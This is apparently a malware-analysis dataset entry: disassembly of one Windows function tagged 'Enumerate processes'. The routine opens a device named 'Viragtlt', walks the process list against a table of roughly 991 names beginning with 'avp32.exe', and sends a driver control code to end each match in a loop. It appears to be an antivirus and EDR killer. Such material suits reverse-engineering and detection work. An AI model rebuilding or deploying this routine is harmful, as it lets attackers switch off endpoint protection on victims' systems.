Function at 0x140001290
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x310
mov rax, qword [0x14000e008]
xor rax, rsp
mov qword [rsp + 0x300], rax
xor r12d, r12d
lea rcx, str..Viragtlt
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140001501
lea r13, [r12 - 1]
xorps xmm0, xmm0
mov dword [rsp + 0x40], r12d
xor eax, eax
xor edx, edx
movups xmmword [rsp + 0x290], xmm0
mov dword [rsp + 0x2f0], eax
mov r14d, r12d
movups xmmword [rsp + 0x2a0], xmm0
lea ecx, [rax + 2]
movups xmmword [rsp + 0x2b0], xmm0
movups xmmword [rsp + 0x2c0], xmm0
movups xmmword [rsp + 0x2d0], xmm0
movups xmmword [rsp + 0x2e0], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, r13
je 0x1400014f1
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400014d3
nop dword [rax]
mov r9d, r12d
lea r10, str._avp32.exe
nop word [rax + rax]
mov r8, qword [r10]
lea rax, [rsp + 0x7c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400013b4
add rax, 2
test ecx, ecx
jne 0x1400013a0
test edx, edx
je 0x1400013cd
inc r9d
add r10, 8
cmp r9d, 0x3df
jb 0x140001390
jmp 0x1400014bd
lea rax, [rsp + 0x7c]
mov rbx, r13
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1400013d5
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x7c]
mov qword [rsp + 0x30], r12
mov r9d, ebx
mov dword [rsp + 0x28], r12d
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
test eax, eax
jle 0x1400014bd
mov ecx, edi
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x7c]
mov qword [rsp + 0x30], r12
mov r9d, ebx
mov dword [rsp + 0x28], edi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x1400014bd
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r9d, [rdi + 1]
lea rax, [rsp + 0x290]
mov dword [rsp + 0x28], 0x64
mov r8, rsi
mov qword [rsp + 0x20], rax
mov edx, 0x82730030
mov byte [rdi + rsi], r12b
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400014a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Device_Input_and_Output_Control_Error_0x_X__n
call fcn.140001010
jmp 0x1400014bd
mov rdx, rsi
lea rcx, str.End_Task:__s_n
call fcn.140001010
mov r14d, 1
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001380
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x1400014f1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001303
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001303
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Open_Device_Error:_0x_X_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140001650
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret